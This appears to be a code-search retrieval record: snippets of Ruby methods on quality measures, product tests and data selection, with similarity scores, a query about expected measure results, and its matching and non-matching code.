"def evaluate_multi_measures(args = nil)\n opts = args ? @options.merge(args) : @options\n\n print \"Generating tests...\"\n\n num_tests = opts[:num_tests].to_i\n num_measures = opts[:num_measures].to_i\n\n # Get lists of all the EP and EH measure HQMF IDs, so we can grab a random sampling of them for the test\n all_ep_measures = Measure.top_level_by_type('ep').pluck(:hqmf_id)\n all_eh_measures = Measure.top_level_by_type('eh').pluck(:hqmf_id)\n\n test_ids = (1..num_tests).collect do |n|\n # Even tests are EP, odd tests are EH\n if n.even?\n opts[:measure_ids] = all_ep_measures.sample(num_measures)\n opts[:test_type] = 'CalculatedProductTest'\n else\n opts[:measure_ids] = all_eh_measures.sample(num_measures)\n opts[:test_type] = 'InpatientProductTest'\n end\n self.generate_test(opts).id\n end\n\n puts \"done\"\n\n wait_for_calculations\n\n upload_cat3s(ProductTest.where({\"_id\" => {\"$in\" => test_ids}}))\n\n end",
"def usage_measures\n request = get '/1/reporting/measures'\n convert_to_mashes request\n end",
"def measures(client, var, options={})\n\t\t\t\tif options[:measures]\n\t\t\t\t\t\toptions[:measures] \n\t\t\t\telse\n\t\t\t\t\t[\"probe\",\"marker\",\"value\"]\n\t\t\t\tend\n\t\t\t\t# measure_properties(measures,var,options)\n\t\t\tend",
"def useful_validations_for_measure_type\n measure_types = selected_measure_types\n if measure_types[:discrete] == false\n Validation.all - Validation.all.measure_type('discrete')\n elsif measure_types[:continuous] == false\n Validation.all - Validation.all.measure_type('continuous')\n else\n Validation.all.to_a\n end\n end",
"def measures\n @dimensions.describe\n end",
"def select_all_by_material\n model = Sketchup.active_model\n material = model.materials.current\n selector = MaterialSelector.new\n selector.select model, material\nend",
"def sample_treasures\n nil\n end",
"def index\n @selectfs = @metric.selectfs.all\n end",
"def show_measures_form\n\t\t@ocde_id = params[:ocde_id]\n\t\t@subgroup_id = params[:subgroup_id]\n\t\t@project_id = params[:project_id]\n\t\tocde = OutcomeDataEntry.find(@ocde_id)\n\t\t@timepoint_id = params[:timepoint_id]\n\t\toutcome_type = params[:outcome_type]\n\t\toutcome_type = outcome_type == \"Time to Event\" ? \"survival\" : outcome_type\n\t\tif @project_id == 427 || @project_id == 553\n\t\t\t@all_measures = DefaultCevgMeasure.find(:all, :conditions=>[\"outcome_type = ? AND results_type=?\",outcome_type, 0])\n\t\telse\n\t\t\t@all_measures = DefaultOutcomeMeasure.find(:all,:conditions=>[\"outcome_type = ? AND measure_type <> ?\", outcome_type.downcase, 0])\t\t\n\t\tend\n\t\t@selected_measures = ocde.get_measures(outcome_type)\n\t\t@all_user_defined_measures = ocde.get_all_user_defined_measures\n\t\t@selected_timepoints = params[:selected_timepoints] #indicates the timepoint in the dropdown\n\t\t@show_measures_for = \"Outcome\"\n\tend",
"def tested_products\n return self.products.select do |product|\n product.incomplete_tests.count == 0\n end\n end",
"def index\n @unit_measures = UnitMeasure.all\n end",
"def index\n @kr_measures = KrMeasure.all\n end",
"def measures(cube_unique_name)\n @measures = {} if @measures.nil?\n\n @measures[cube_unique_name] ||= cube(cube_unique_name).get_measures.map do |measure|\n {\n :unique_name => measure.get_unique_name,\n :name => measure.get_caption\n }\n end\n end",
"def index\n @unit_of_measures = UnitOfMeasure.all\n end",
"def measurements\n result = self.product.user.measurements.where('measured_at >= ?', self.begin_at)\n result = result.where('measured_at <= ?', self.end_at) if result.any? && self.end_at.present?\n result\n end",
"def cost_measures\n response = get '/1/reporting/cost/measures'\n convert_to_mashes response\n end",
"def determine_useful_measures(validation_id)\n useful_checks = [\n useful_measures_by_performance_rate(validation_id),\n useful_measures_by_measure_type(validation_id)\n ]\n useful_checks.inject(:&)\n end",
"def patients_in_measure_population_and_greater\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['MSRPOPL'])\n end.pluck(:_id)\n end",
"def useful_measures_by_performance_rate(validation_id)\n validation = Validation.find(validation_id)\n if validation.performance_rate_required == true\n # Remove all continuous measures since they do not have a performance rate\n measure_ids.select! { |id| HealthDataStandards::CQM::Measure.find_by(_id: id).continuous_variable == false }\n useful_measure_ids = []\n measure_ids.each do |id|\n hqmf_id = HealthDataStandards::CQM::Measure.find_by(_id: id).hqmf_id\n cache = HealthDataStandards::CQM::QueryCache.find_by(measure_id: hqmf_id)\n if (cache.NUMER != 0 && !cache.NUMER.nil?) || ((cache.DENOM ||= 0) - (cache.DENEXCEP ||= 0) - (cache.DENEX ||= 0)) != 0\n useful_measure_ids << HealthDataStandards::CQM::Measure.find_by(hqmf_id: hqmf_id).id\n end\n end\n useful_measure_ids\n else\n measure_ids\n end\n end",
"def passing_tests\n return self.product_tests.includes(:test_executions).select do |test|\n test.execution_state == :passed\n end\n end",
"def search_measures(node_id, measures)\n Base.log(\"Entered search measures\", \"#{node_id}, #{measures}\")\n \n if tree.nodes.measures(node_id).any?\n Base.log(\"Found measures in #{node_id}\")\n \n values = {}\n measures.each do |selected|\n values[selected] = tree.nodes.measure(node_id, selected)\n end\n return values\n else\n Base.log(\"Didn't find any measures in #{node_id}\")\n \n dimensions = order(tree.nodes.dimensions(node_id))\n \n Base.log(\"node #{node_id} has dimensions #{dimensions.inspect}\")\n \n if dimensions.nil?\n Base.log(\"Didn't find any dimension from #{node_id}\")\n return nil\n else\n next_name = tree.nodes.children(node_id, dimensions.last).last\n next_node = tree.nodes.child(node_id, dimensions.last, next_name)\n \n if next_node.nil?\n return next_node\n else\n Base.log(\"Recursing to search for measures in #{next_node}\")\n return search_measures(next_node, measures)\n end\n end\n end\n end",
"def show_comparison_measures_form\n\t @timepoint_id = params[:timepoint_id]\n\t @selected_timepoints = params[:selected_timepoints]\n\t @extraction_form_id = params[:extraction_form_id]\n\t @study_id = params[:study_id]\n\t @project_id = params[:project_id]\n\t @comparison_id = params[:comparison_id]\n\t outcome_type = params[:outcome_type]\n\t @subgroup_id = params[:subgroup_id] == \"\" ? 0 : params[:subgroup_id]\n\n\t # section number specific to diagnostic test entries\n\t section_num = params[:dx_section]\n\n\t # get a list of all measures\n\t ocType = section_num.nil? ? outcome_type.downcase : \"diagnostic_#{section_num}\"\n\t ocType = ocType == \"time to event\" ? \"survival\" : ocType\n\t if @project_id == 427 || @project_id == 553\n\t \t@all_measures = DefaultCevgMeasure.where(:outcome_type=>ocType,:results_type=>1)\n\t else\n\t \t@all_measures = DefaultComparisonMeasure.where(:outcome_type=>ocType,:within_or_between=>1)\n\t end\n\t \n\t # get the measures for this particular comparison\n\t @selected_measures = ComparisonMeasure.where(:comparison_id=>@comparison_id)\n\t comparison = Comparison.find(@comparison_id)\n\t unless comparison.nil?\n\t\t @all_user_defined_measures = comparison.get_all_user_defined_measures\n\t\telse\n\t\t\t@all_user_defined_measures = []\n\t\tend\n\t \n\t unless section_num.nil?\t\n\t \t@show_measures_for = case section_num.to_i\n\t\t \twhen 1\n\t\t \t\t'Diagnostic Test Descriptive Result Measures'\n\t\t \twhen 2\n\t\t \t\t'Diagnostic Test Measures Assuming a Reference Standard'\n\t\t \telse\n\t\t \t\t'Diagnostic Test Measures for Additional Analysis'\n\t\t \tend\n\t\t\n\t else\t\n\t \t@show_measures_for = \"Between-Arm Comparison\"\n\t end\n\t render '/outcome_data_entries/show_measures_form'\n\tend",
"def test_suites\n all(QTest::TestSuite, project: @project.id, test_cycle: @id)\n end",
"def getHiddenTreasures\n @hiddenTreasures\n end",
"def select_material_types(test_data)\n types = test_data[UseOfCollections::MATERIAL_TYPE_LIST.name] || [{ UseOfCollections::MATERIAL_TYPE.name => ''}]\n prep_fieldsets_for_test_data([fieldset(UseOfCollections::MATERIAL_TYPE_LIST.name)], types)\n\n types.each_with_index do |type, index|\n wait_for_options_and_select(material_type_input(index), material_type_options(index), type[UseOfCollections::MATERIAL_TYPE.name])\n end\n end",
"def selected_values\n @obj.values_at(*@selected_indices)\n end",
"def getVisibleTreasures() # : Treasure[]\n @currentPlayer.getVisibleTreasures()\n end",
"def list_measures(measures_dir)\n puts 'Listing measures'\n if measures_dir.nil? || measures_dir.empty?\n puts 'Measures dir is nil or empty'\n return true\n end\n\n puts \"measures path: #{measures_dir}\"\n\n # this is to accommodate a single measures dir (like most gems)\n # or a repo with multiple directories fo measures (like OpenStudio-measures)\n measures = Dir.glob(File.join(measures_dir, '**/measure.rb'))\n if measures.empty?\n # also try nested 2-deep to support openstudio-measures\n measures = Dir.glob(File.join(measures_dir, '**/**/measure.rb'))\n end\n puts \"#{measures.length} MEASURES FOUND\"\n measures.each do |measure|\n name = measure.split('/')[-2]\n puts name.to_s\n end\n end",
"def get_cell_measures(cell)\n query_cell_info '/cell/getMeasures', cell\n end",
"def all_data_criteria\n @data_criteria\n end",
"def get_selected(id, model, obj_string)\n selection = (obj_string + \"DataPoint\").constantize.where(model+\"_field_id\"=>id, :study_id=>session[:study_id])\n retVal = []\n unless selection.empty? || selection.nil?\n selection.each do |detail|\n retVal << [detail.value,detail.subquestion_value]\n end\n end\n return retVal\n end",
"def assessments\n self.all_assessments.joins(:test_configurations).where('test_configurations.group_id IN(?)',get_groups).group('contents.id')\n end",
"def patients_in_denominator_and_greater\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['DENOM'])\n end.pluck(:_id)\n end",
"def features\n @inventory.features(self).to_a\n end",
"def ep_measures?\n measures.pluck(:reporting_program_type).include?('ep')\n end",
"def patients_in_measure_population_observation\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['OBSERV'])\n end.pluck(:_id)\n end",
"def show_within_arm_comparison_measures_form\n\t @selected_timepoints = params[:selected_timepoints]\n\t @comparison_id = params[:comparison_id]\n\t @outcome_type = params[:outcome_type]\n\t @outcome_id = params[:outcome_id]\n\t @subgroup_id = params[:subgroup_id]\n\t @project_id = params[:project_id]\n\t # get a list of all measures\n\t @all_measures = DefaultComparisonMeasure.where(:outcome_type=>@outcome_type.downcase,:within_or_between=>0)\n\t # get the measures for this particular comparison\n\t @selected_measures = ComparisonMeasure.where(:comparison_id=>@comparison_id)\n\t \n\t comparison = Comparison.find(@comparison_id)\n\t unless comparison.nil?\n\t\t @all_user_defined_measures = comparison.get_all_user_defined_measures\n\t\telse\n\t\t\t@all_user_defined_measures = []\n\t\tend\n\n\t\t@show_measures_for = \"Within-Arm Comparison\"\n\t render '/outcome_data_entries/show_measures_form'\n\tend",
"def summarize_per_subset\n @having = ANY_ROWS\n end",
"def sales\n return FarMar::Sale.all.values.select { |sale| sale.product_id == @product_id }\n end",
"def get_selectable_products\n return call('Product.get_selectable_products')\n end",
"def measurements\n []\n end",
"def get_selected_by_arm(id, arm, model, obj_string)\n selection = (obj_string + \"DataPoint\").constantize.where(model+\"_field_id\"=>id, :arm_id=>arm,:study_id=>session[:study_id])\n\n retVal = []\n unless selection.empty?\n selection.each do |detail|\n retVal << [detail.value, detail.subquestion_value]\n end\n end\n return retVal\n end",
"def index\n @medical_tests = MedicalTest.all\n end",
"def tests(k)\n @tests.map{|t| t[k]}.compact\nend",
"def find_all_sets\n return Ensembl::Compara::SpeciesSet.find_all_by_genome_db_id(self.genome_db_id)\n end",
"def subset\n { subset: @superset }\n end",
"def getHiddenTreasures\n \n end",
"def measurePaths\n result = OpenStudio::PathVector.new\n if @workflow[:measure_paths]\n @workflow[:measure_paths].each do |measure_path|\n result << OpenStudio.toPath(measure_path)\n end\n else\n result << OpenStudio.toPath('./measures')\n result << OpenStudio.toPath('../../measures')\n result << OpenStudio.toPath('./')\n end\n result\n end",
"def add_filtering_tests\n measure = ApplicationController.helpers.pick_measure_for_filtering_test(measure_ids, bundle)\n reload_relations\n\n return if product_tests.filtering_tests.any?\n criteria = %w(races ethnicities genders payers age).shuffle\n filter_tests = []\n filter_tests.concat [build_filtering_test(measure, criteria[0, 2]), build_filtering_test(measure, criteria[2, 2])]\n filter_tests << build_filtering_test(measure, ['providers'], 'NPI, TIN & Provider Location')\n filter_tests << build_filtering_test(measure, ['providers'], 'NPI & TIN', false)\n criteria = ApplicationController.helpers.measure_has_diagnosis_criteria?(measure) ? ['problems'] : criteria.values_at(4, (0..3).to_a.sample)\n filter_tests << build_filtering_test(measure, criteria)\n ApplicationController.helpers.generate_filter_records(filter_tests)\n end",
"def select_material_types(test_data)\n types = test_data[CoreUseOfCollectionsData::MATERIAL_TYPE_LIST.name] || [{CoreUseOfCollectionsData::MATERIAL_TYPE.name => ''}]\n hide_notifications_bar\n prep_fieldsets_for_test_data([fieldset(CoreUseOfCollectionsData::MATERIAL_TYPE_LIST.name)], types)\n\n types.each_with_index do |type, index|\n logger.info \"Entering material type data set at index #{index}: #{type}\"\n wait_for_options_and_select(material_type_input(index), material_type_options(index), type[CoreUseOfCollectionsData::MATERIAL_TYPE.name])\n end\n end",
"def fieldsets\n subset_content[:fieldsets] if valid_subset?\n end",
"def index\n @outcome_measure_types = OutcomeMeasureType.all\n end",
"def spectrum_queries\n msms_pipeline_analysis.msms_run_summary.spectrum_queries\n end",
"def subset_fields\n self.class.subset_fields(subset.to_sym) if valid_subset?\n end",
"def feature_set\n @inventory.features(self)\n end",
"def pick_test_set\n $all_avail_genes = deep_copy_hash $all_genes\n $all_avail_pat = deep_copy_hash $all_pat\n \n # randomly withhold 10% of the patients\n $HIDE_PERCENT = 0.1\n pick_patients\n \n # use the remaining 90% for range alpha runs\n $all_avail_genes = deep_copy_hash $genes\n $all_avail_pat = deep_copy_hash $avail_pat\n $test_pat = deep_copy_hash $hide_pat\n \n # next hide 20% for validation set\n $HIDE_PERCENT = 0.2\nend",
"def get_measures\n # Collect time sig events and scan for last event time\n time_sigs = []\n max_pos = 0\n @tracks.each do |t|\n t.each do |e|\n time_sigs << e if e.kind_of?(MIDI::TimeSig)\n max_pos = e.time_from_start if e.time_from_start > max_pos\n end\n end\n time_sigs.sort { |x,y| x.time_from_start <=> y.time_from_start }\n\n # Add a \"fake\" time sig event at the very last position of the sequence,\n # just to make sure the whole sequence is calculated.\n t = MIDI::TimeSig.new(4, 2, 24, 8, 0)\n t.time_from_start = max_pos\n time_sigs << t\n\n # Default to 4/4\n measure_length = @ppqn * 4\n oldnumer, olddenom, oldbeats = 4, 2, 24\n\n measures = MIDI::Measures.new(max_pos, @ppqn)\n curr_pos = 0\n curr_meas_no = 1\n time_sigs.each do |te|\n meas_count = (te.time_from_start - curr_pos) / measure_length\n meas_count += 1 if (te.time_from_start - curr_pos) % measure_length > 0\n 1.upto(meas_count) do |i|\n measures << MIDI::Measure.new(curr_meas_no, curr_pos, measure_length,\n oldnumer, olddenom, oldbeats)\n curr_meas_no += 1\n curr_pos += measure_length\n end\n oldnumer, olddenom, oldbeats = te.numerator, te.denominator, te.metronome_ticks\n measure_length = te.measure_duration(@ppqn)\n end\n measures\n end",
"def eh_measures?\n measures.pluck(:reporting_program_type).include?('eh')\n end",
"def questions\n ready_series = chart_series.select{|series|series.ready_for_data?}\n result = []\n ready_series.each{|series|result += series.meta_attribute_questions}\n return result.uniq.sort_by{|series|series.category}\n end",
"def measurements\n @measurements ||= []\n end",
"def patients_in_high_value_populations\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), %w[NUMER NUMEX DENEXCEP DENEX])\n end.pluck(:_id)\n end",
"def select_options(access = :deposit)\n @service.search_results(access).map do |admin_set|\n [admin_set.to_s, admin_set.id, data_attributes(admin_set)]\n end\n end",
"def filter_data\n @data.map do |currency|\n currency.select { |attribute,_|\n selected_attributes.include? attribute.to_s\n }\n end\n end",
"def hybrid_measures?\n !!measures.map(&:hqmf_id).intersect?(APP_CONSTANTS['result_measures'].map(&:hqmf_id))\n end",
"def select_methods(test_data)\n test_methods = test_data[UseOfCollections::METHOD_LIST.name]\n test_methods = [{ UseOfCollections::METHOD.name => ''}] unless test_methods\n prep_fieldsets_for_test_data([fieldset(UseOfCollections::METHOD_LIST.name)], test_methods)\n\n test_methods.each_with_index do |method, index|\n wait_for_options_and_select(method_input(index), method_options(index), method[UseOfCollections::METHOD.name])\n end\n end",
"def count_measures\n measures = 0\n \n self.measure_ids.each do |measure|\n measures += 1 if !measure.empty?\n end\n \n return measures\n end",
"def tests_suites\n @tests_suites.keys.sort\n end",
"def get_surveys\n survey_types = SurveyType.all(:conditions=>[\"name != ?\", \"test\"])\n non_empty_survey_types = []\n survey_types.each do |survey_type|\n any_datasets = false\n survey_type.surveys.each do |survey|\n any_datasets = true unless survey.datasets.empty?\n end\n if any_datasets \n non_empty_survey_types << survey_type\n end\n end\n surveys = []\n non_empty_survey_types.each do |survey_type|\n survey_type.surveys.each do |survey|\n unless survey.datasets.empty? \n surveys << survey unless !Authorization.is_authorized?(\"show\", nil, survey, current_user)\n end\n end\n end\n return surveys\n end",
"def eligible_variants\n variants\n end",
"def select_fittest\n fittest = []\n self.size.times do\n selected_index = Selector.pick_big_one(scores)\n fittest << @players[selected_index]\n end\n fittest\n end",
"def getSelectedItems\r\n assert_exists\r\n returnArray = []\r\n #element.log \"There are #{@o.length} items\"\r\n @o.each do |thisItem|\r\n #puts \"#{thisItem.selected}\"\r\n if thisItem.selected\r\n #element.log \"Item ( #{thisItem.text} ) is selected\"\r\n returnArray << thisItem.text \r\n end\r\n end\r\n return returnArray \r\n end",
"def chosen\n the_set = []\n self.itemlist.each { |k,v| the_set << self.object(k).chosen }\n the_set\n end",
"def getAll(testbed = nil)\n load\n return @@nds if testbed.nil?\n ret = []\n @@nds.each{|n| ret << n if n['testbed'] == testbed}\n ret\n end",
"def alternatives(by=nil)\n @dimensions.units(nil).reject do |unit|\n unit.is_equivalent_to?(self) || !unit.acts_as_alternative_unit\n end.map(&by).to_a\n end",
"def subset conditions\n rows = self.select do |row|\n conditions.reduce(true) do |memo, (var, val)|\n memo and row[var] == val\n end\n end\n Dataset.new rows\n end",
"def result_analytes\n self.specimen.includes(results: :analyte)\n .where(results: {reported_at: DateTime.new(2014,1,1)..DateTime.new(2014,4,1)})\n .pluck('distinct analytes.analyte_name')\n end",
"def index\n @part_measurements = PartMeasurement.all\n end",
"def index\n @testsuites = Testsuite.all\n end",
"def expected_result(measure)\n (expected_results || product_test.expected_results || {})[measure.key] || {}\n end",
"def show_all_quant_tests\n @quizzes = Quiz.store_quant_section_quizzes(current_user)\n @quizzes = load_words_for_quizzes(@quizzes)\n \n @name = \"Quant tests\"\n render \"show_all_tests\"\n end",
"def products()\n return filter_products()\n end",
"def questions_4_dimension(dimension) questions.select { |question| question.dimension == dimension } end",
"def pds_meters\n @data_list = PdsMeter.where(Project: project.ProjectID)\n .includes({ hw_ic: [:hw_ped, pds_project_unit: :unit] }, :system, :pds_section_assembler)\n end",
"def all(product_id, params = {})\n response, status = BeyondApi::Request.get(@session, \"/products/#{product_id}/variations\", params)\n\n handle_response(response, status)\n end",
"def select_methods(test_data)\n test_methods = test_data[CoreUseOfCollectionsData::METHOD_LIST.name]\n hide_notifications_bar\n test_methods = [{CoreUseOfCollectionsData::METHOD.name => ''}] unless test_methods\n prep_fieldsets_for_test_data([fieldset(CoreUseOfCollectionsData::METHOD_LIST.name)], test_methods)\n\n test_methods.each_with_index do |method, index|\n logger.info \"Entering method data set at index #{index}: #{method}\"\n wait_for_options_and_select(method_input(index), method_options(index), method[CoreUseOfCollectionsData::METHOD.name])\n end\n end",
"def measure_test_tasks(product, get_c1_tasks: true)\n # This function was previously sometimes returning results with a false value in front of them,\n # and it would look something like [false, <Task...>], which was then causing problems because\n # we call .first on the returned data. This was causing intermittent test failures, by rejecting\n # blank values we avoid this problem.\n if get_c1_tasks\n product.product_tests.measure_tests.collect { |test| test.tasks.c1_task }.reject(&:blank?)\n else\n product.product_tests.measure_tests.collect { |test| test.tasks.c2_task }.reject(&:blank?)\n end\n end",
"def measure_for_device(device_id, measure_id)\r\n device = Device.where(:name => device_id)\r\n # use first on device to get record from association, then\r\n # use first again on measures to get measure record\r\n device.first.measures.where(:name => measure_id).first if device.any?\r\n end",
"def db_queries_where__samples\n db_queries_operate__samples.map { |e| [e] }\n end",
"def all_population_criteria\n @population_criteria\n end",
"def all_population_criteria\n @population_criteria\n end"
] |
[
"0.65423244",
"0.6247492",
"0.60081273",
"0.5871274",
"0.5762266",
"0.5746221",
"0.573849",
"0.573849",
"0.570224",
"0.56737393",
"0.5627861",
"0.56234825",
"0.56169295",
"0.5616168",
"0.55758935",
"0.5440485",
"0.5371396",
"0.5350419",
"0.53377765",
"0.5325561",
"0.5308375",
"0.53071404",
"0.5280538",
"0.5245761",
"0.5224438",
"0.52160317",
"0.5183057",
"0.5182241",
"0.51805973",
"0.5131248",
"0.50331575",
"0.502665",
"0.5011103",
"0.4983318",
"0.49743405",
"0.49595085",
"0.4950888",
"0.49436414",
"0.49418992",
"0.49269047",
"0.4918534",
"0.4900989",
"0.4896047",
"0.4895553",
"0.48856932",
"0.4881326",
"0.4878834",
"0.48761538",
"0.48627603",
"0.48605177",
"0.48551214",
"0.48497343",
"0.48451748",
"0.48402742",
"0.48295557",
"0.48264846",
"0.48231092",
"0.4812694",
"0.48051554",
"0.47848377",
"0.47788778",
"0.4770123",
"0.47604287",
"0.47601426",
"0.4759408",
"0.47580746",
"0.4743283",
"0.472759",
"0.47137246",
"0.47114637",
"0.46956086",
"0.46946287",
"0.46902505",
"0.46897134",
"0.46846893",
"0.46829844",
"0.46744302",
"0.46637055",
"0.46627247",
"0.46553266",
"0.46416306",
"0.46416026",
"0.46370962",
"0.46349388",
"0.4631848",
"0.46282426",
"0.46255976",
"0.46224374",
"0.46208203",
"0.461744",
"0.46149418",
"0.46118468",
"0.46080625",
"0.46032405",
"0.46031022",
"0.459994",
"0.4598245",
"0.45942116",
"0.45883134",
"0.45883134"
] |
0.6758097
|
0
|
Get the expected result for a particular measure
|
def expected_result(measure)
(expected_results || {})[measure.key]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def expected_result(measure)\n (expected_results || product_test.expected_results || {})[measure.key] || {}\n end",
"def find_value_for_one_measure(total_measures, total_credits)\n total_credits.to_f / @measure.roman_to_digital(total_measures)\n end",
"def reported_result(measure)\n (reported_results || {})[measure.key] || {}\n end",
"def value(expected)\n take(1) do |first, input, rest|\n\n if first[0] == :val && expected === first[1]\n Success(Single(first[1]), rest)\n else\n Failure(\"'#{first[1]}' doesn't match #{expected}\", input)\n end\n end.describe expected\n end",
"def mean\n return 0.0 if @test_results.size < 2\n @test_results.inject(0) { |sum_errors, tuple| sum_errors + (tuple[2] - tuple[3]).abs }.to_f / @test_results.size.to_f\n end",
"def test_performs_and_returns_hash\n expected = {\n id: \"36692321\",\n type: \"evaluated-data-point\",\n attributes: {\n title: \"Total Population\",\n modifier: \"total\",\n aggregator: \"sum_and_moe\",\n value: 2616.0,\n margin: 134.54,\n units: \"residents\"\n }\n }\n assert_equal expected, evaluation.perform\n end",
"def expected_assessment\n return @expected_assessment\n end",
"def prepare_result(expected)\n assert_nothing_raised do\n if expected.kind_of? Integer \n @returned = @returned.to_f\n @correct = expected.to_f\n @incorrect = expected.to_f\n elsif expected.kind_of? Float\n @returned = round_float(@returned.to_f, @@ACCURACY)\n @correct = round_float(expected, @@ACCURACY)\n @incorrect = round_float(expected, @@ACCURACY)\n else\n @returned = @returned\n @correct = expected\n @incorrect = expected\n end\n #debug info\n #puts \"expected: #{@correct} - returned: #{@returned}\"\n end\n end",
"def expected_values_for_qrda_export(measure)\n qrda_expected_values = []\n expected_pop_names = HQMF::PopulationCriteria::ALL_POPULATION_CODES - %w{STRAT OBSERV}\n measure.populations.each_with_index do |pop, idx|\n pop.each do |pkey, pvalue|\n next unless expected_pop_names.include?(pkey)\n this_ev = {}\n this_ev[:hqmf_id] = measure.population_criteria[pvalue.to_s]['hqmf_id']\n if pkey == 'DENEX'\n this_ev[:display_name] = 'Denominator Exclusions'\n else\n this_ev[:display_name] = measure.population_criteria[pvalue.to_s]['title']\n end\n this_ev[:code] = pkey\n this_ev[:expected_value] = self.expected_values[idx][pkey].to_s\n qrda_expected_values << this_ev\n end\n end\n qrda_expected_values\n end",
"def measure\n\t\t1\n\tend",
"def test_that_px_return_is_accurate\n end",
"def measure\n Measure.new(1, self)\n end",
"def expected\n\t\t\tBigDecimal(@count) * ((@sides + 1.0) / 2.0)\n\t\tend",
"def test_calc_total\r\n \t@test_prospector.total_gold = 1\r\n \t@test_prospector.total_silver = 1\r\n \tassert_equal '21.98', @test_prospector.calc_total\r\n end",
"def test_returns_zero_when_total_is_zero\n participant = participants(:par1)\n assert_equal 0, participant.getAverage(0, 0)\n end",
"def getActual\n return @actual\n end",
"def get_measured_points\n measured_points.points\n end",
"def test_unranked_precision\n \n add_test_judgements\n add_unranked_query_result\n assert_equal(0.4, @query_result.statistics[:precision])\n \n end",
"def test_unranked_recall\n\n add_test_judgements \n add_unranked_query_result\n assert_equal(1.0, @query_result.statistics[:recall])\n \n end",
"def verify_result(expect, model)\n puts \"running query: #{build_query(model)}\"\n result = search(build_query(model))\n assert_equal(expect.size, result.hit.size)\n expect.each_with_index do |expected_sub_scores,i|\n jsf = result.hit[i].field['summaryfeatures']\n sub_scores = extract_subscores(jsf, model.size)\n assert_equal(expected_sub_scores, sub_scores,\n \"subscores differ for hit #{i}: #{expected_sub_scores} != #{sub_scores}\")\n end\n end",
"def rms\n sum = 0\n @test.each do |value|\n sum += (value[2] - value[3]) ** 2\n end\n Math.sqrt(sum/@test.length.to_f)\n end",
"def expected_grades\n metrics.count * course.students.count\n end",
"def actual\n @actual\n end",
"def get_cell_measures(cell)\n query_cell_info '/cell/getMeasures', cell\n end",
"def calculated_determinant\n # A arrondir à digit puis à mettre sous forme fractionnelle \n @equat.determinant.round(2)\n end",
"def expected_value\n @expected_value ||= @expected_value_set ? @expected_value : get_attribute_from_rendered_object\n end",
"def grade_percentage\n passed_tests.count / my_tests.count\n end",
"def test_grade\n input = self.test_session.user_input\n test_content = test.content\n grade = input.similar(test_content)\n grade.round(1)\n end",
"def get_patient_result(patient_id)\n qm = QualityMeasure.new(@measure_id, @sub_id)\n measure = Builder.new(get_db, qm.definition, @parameter_values)\n records = get_db.collection('records')\n result = records.map_reduce(measure.map_function, \"function(key, values){return values;}\",\n :out => {:inline => true}, \n :raw => true, \n :finalize => measure.finalize_function,\n :query => {:medical_record_number => patient_id, :test_id => @parameter_values['test_id']})\n raise result['err'] if result['ok']!=1\n result['results'][0]['value']\n end",
"def get_constant_expect testcase\n testcase[\"result\"][\"value\"]\n end",
"def accuracy\n (@values.fetch(:tp) + @values.fetch(:tn)) / total()\n end",
"def sumunitofmeasure\n uomd\n clean\n subtotal1\n variance\n subtotal2\n cafm\n helpdesk\n subtotal3\n mobilisation\n tupe\n year1\n manage\n corporate\n year1total\n profit\n year1totalcharges + subyearstotal\n end",
"def expected_value; end",
"def expected_value; end",
"def test_it_can_average\n calc = Calculator.new\n numbers1 = [1, 2, 3, 4, 5]\n numbers2= [2, 3, 4]\n\n\n #can also call result actual\n result1 = calc.total (numbers)\n result2 = calc.total(numbers2)\n result3= calc.average([0,10])\n\n assert_equal 15, expected1\n assert_equal 9, expected2\n assert_equal 7, expected1\n assert_equal 3, expected2\n\nend",
"def infer_measure\n puts \"#infer_measure; hash is #{self}\" if SY::DEBUG\n map do |qnt, exp|\n puts \"#infer_measure: doing quantity #{qnt} with exponent #{exp}!\" if SY::DEBUG\n if qnt.standardish? then\n puts \"#{qnt} standardish\" if SY::DEBUG\n SY::Measure.identity\n else\n puts \"#{qnt} not standardish\" if SY::DEBUG\n puts \"its measure is #{qnt.measure}, class #{qnt.measure.class}\" if SY::DEBUG\n qnt.measure( of: qnt.standard ) ** exp\n end\n end.reduce( SY::Measure.identity, :* )\n end",
"def test_get_total_score\r\n total_score = 0\r\n\r\n\r\n @scores1 = Score.find_all_by_response_id(@response.id)\r\n @scores1.each {|a|\r\n total_score = a.score + total_score\r\n }\r\n # verifying whether the total score is generated properly or not\r\n assert_equal total_score , 15\r\n\r\n\r\n end",
"def value\n return self.actual\n end",
"def value\n return self.actual\n end",
"def test_average_goals_per_game\n\n assert_equal 4.22, @stat_tracker.average_goals_per_game\n end",
"def test_measures_with_cli(measures_dir)\n puts 'Testing measures with CLI system call'\n if measures_dir.nil? || measures_dir.empty?\n puts 'Measures dir is nil or empty'\n return true\n end\n\n puts \"measures path: #{measures_dir}\"\n\n cli = OpenStudio.getOpenStudioCLI\n\n the_call = ''\n if @gemfile_path\n if @bundle_without_string.empty?\n the_call = \"#{cli} --verbose --bundle '#{@gemfile_path}' --bundle_path '#{@bundle_install_path}' measure -r '#{measures_dir}'\"\n else\n the_call = \"#{cli} --verbose --bundle '#{@gemfile_path}' --bundle_path '#{@bundle_install_path}' --bundle_without '#{@bundle_without_string}' measure -r '#{measures_dir}'\"\n end\n else\n the_call = \"#{cli} --verbose measure -r #{measures_dir}\"\n end\n\n puts 'SYSTEM CALL:'\n puts the_call\n $stdout.flush\n result = run_command(the_call, get_clean_env)\n puts \"DONE, result = #{result}\"\n $stdout.flush\n\n return result\n end",
"def measures(client, var, options={})\n\t\t\t\tif options[:measures]\n\t\t\t\t\t\toptions[:measures] \n\t\t\t\telse\n\t\t\t\t\t[\"probe\",\"marker\",\"value\"]\n\t\t\t\tend\n\t\t\t\t# measure_properties(measures,var,options)\n\t\t\tend",
"def expected_mean\n (min + max) / 2\n end",
"def test_volume_of_cube()\n first_volume = volume_of_a_cube (3) \n assert_equal(27,first_volume)\n end",
"def test_suma\n \t\tassert_equal(@mr,(@mq+@mp)) #dispersas\n \t\tassert_equal(@c,(@a+@b)) #fraccionales\n\t\tassert_equal(@md,(@ma+@mz)) #densa\n \tend",
"def test_avg_speed\n assert_equal(@trip.avg_speed, 74.2)\n end",
